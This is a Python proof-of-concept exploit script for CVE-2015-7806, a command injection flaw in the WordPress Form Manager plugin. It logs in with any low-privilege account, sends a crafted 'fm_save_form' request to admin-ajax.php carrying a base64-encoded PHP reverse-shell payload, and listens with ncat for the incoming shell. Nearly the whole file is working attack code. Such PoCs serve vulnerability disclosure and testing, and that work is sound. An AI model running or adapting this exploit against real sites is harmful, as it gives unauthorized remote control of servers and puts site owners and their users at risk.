# # CVE-2015-7806 # Author(s): Nick Blundell (Appcheck NG) # Quick and dirty PoC # import requests # easy_install requests, etc. import sys import os import time META = [ ("App", "Wordpress Form Manager"), ("App URL", "https://wordpress.org/plugins/wordpress-form-manager"), ("CVE", "CVE-2015-7806"), ("Discovery", "Nick Blundell (http://appcheck-ng.com)"), ("Greetz", "Greenwich students at IP Expo :)"), ] class Exploit(object) : def __call__(self) : d("Running exploit") self._parse_args() self._display_banner() self._login() self._exploit() def _parse_args(self) : import argparse # http://docs.python.org/2.7/library/argparse.html parser = argparse.ArgumentParser() parser.add_argument('--username', required=True, help="Any user will work, even a self-registered user") parser.add_argument('--password', required=True) parser.add_argument('--url', required=True) self.options = parser.parse_args() self._base_url = self.options.url def _display_banner(self) : meta = "\n".join(["{}: {}".format(k.ljust(11), v) for k,v in META]) print(render_banner(text=meta)) def _exploit(self) : import socket import base64 import time # Get my ip address s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(('8.8.8.8', 80)) self.my_ip = s.getsockname()[0] info("Running exploit") self.listen_port = 5434 payload = '''php -r '$sock=fsockopen("{listen_ip}",{listen_port});exec("/bin/sh -i <&3 >&3 2>&3");' '''.format(listen_port=self.listen_port, listen_ip=self.my_ip) payload = base64.b64encode(payload) payload = "echo {payload} | base64 --decode | /bin/bash".format(payload=payload) def f() : time.sleep(5) info("Sending reverse shell payload") self._send_payload(payload) self._run_in_thread(f) self._listen() def _listen(self) : info("Waiting for incoming shell") os.system("ncat --listen 0.0.0.0 {}".format(self.listen_port)) def _send_payload(self, payload) : # Note, requests does urlencoding and will double encode. data = { "action":"fm_save_form", "items[1][unique_name]":"x", "items[1][index]":"3", "items[1][type]":"checkbox", "items[1][extra]":'"a{{$items[`{}`]}}"'.format(payload), } d(data) response = self._request("/wp-admin/admin-ajax.php", data=data) def _run_in_thread(self, f, *args, **kargs) : """ Runs a function in a thread and returns the thread handle """ import threading import time thread_name = kargs.pop("thread_name", None) start = kargs.pop("start", True) t = threading.Thread(target=f, args=args, kwargs=kargs) # Usually a good idea to default to daemon. t.setDaemon(kargs.pop("daemon", True)) if thread_name : t.name = thread_name t._started_at = time.time() if start : t.start() return t def _login(self) : info("Attempting to authenticate") data = { "log":self.options.username, "pwd":self.options.password, "wp-submit":"Log In", } self.session = requests.session() response = self._request("/wp-login.php", data=data) if "wordpress_logged_in" not in str(self.session.cookies.keys()) : self.bail("Failed to authenticate") good("Authenticated as user: {}".format(self.options.username)) def bail(self, message) : bad(message) sys.exit(1) def _request(self, uri, data=None) : import urlparse url = urlparse.urljoin(self._base_url, uri) d((url, data)) if data : response = self.session.post(url, data) else : response = self.session.get(url, data) d(response.headers) #d(response.text) return response def main(): Exploit()() def d(s) : if not os.environ.get("LOG_LEVEL", None) : return print(s) def info(s) : print_now("[i] {}".format(s)) def good(s) : print_now("[+] {}".format(s)) def bad(s) : print_now("[-] {}".format(s)) def print_now(s) : sys.stdout.write("{}\n".format(s)) sys.stdout.flush() BANNER = ''' =========================================================================== ___ ________ __ _ ________ / | ____ ____ / ____/ /_ ___ _____/ /__ / | / / ____/ / /| | / __ \/ __ \/ / / __ \/ _ \/ ___/ //_/ / |/ / / __ / ___ |/ /_/ / /_/ / /___/ / / / __/ /__/ ,< / /| / /_/ / /_/ |_/ .___/ .___/\____/_/ /_/\___/\___/_/|_| /_/ |_/\____/ /_/ /_/ --------------------------------------------------------------------------- {text} =========================================================================== ''' def render_banner(**kargs) : banner = BANNER.format(**kargs) return banner if __name__ == "__main__" : main()